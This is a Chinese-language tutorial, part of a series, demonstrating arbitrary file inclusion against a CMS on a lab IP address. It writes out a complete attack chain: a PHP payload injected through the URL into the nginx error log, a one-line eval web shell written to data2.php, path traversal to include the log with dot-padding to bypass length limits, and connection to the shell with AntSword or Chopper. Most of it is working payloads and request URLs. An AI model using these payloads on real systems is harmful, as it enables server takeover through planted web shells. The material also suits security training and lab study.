任意文件包含漏洞（3）——实战某cms

资源下载

至少有一个任意文件包含漏洞的cms

错误日志

nginx的默认日志文件是phpstudy/nginx/logs/error.log

apache的日志文件是phpstudy/apache/logs/error.log 一般管理员都不会改的这里我用的是nginx

演示

进入网站首页

在url后面加上<?php fputs(fopen('data2.php','w'),'<?php eval($_POST[123])?>');?> 或者其他的一句话木马

http://172.16.11.27/xhcms/%3C?php%20fputs(fopen(%27data2.php%27,%27w%27),%27%3C?php%20eval($_POST[123])?%3E%27);?%3E

查看日志文件

http://172.16.11.27/xhcms/?r=../../../nginx/logs/error.log...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

经过代码审计，这里还需要使用.，路径长度绕过

发现 index.php的同目录下生成了data2.php文件

用蚁剑或者菜刀连接该文件

http://172.16.11.27/xhcms/data2.php
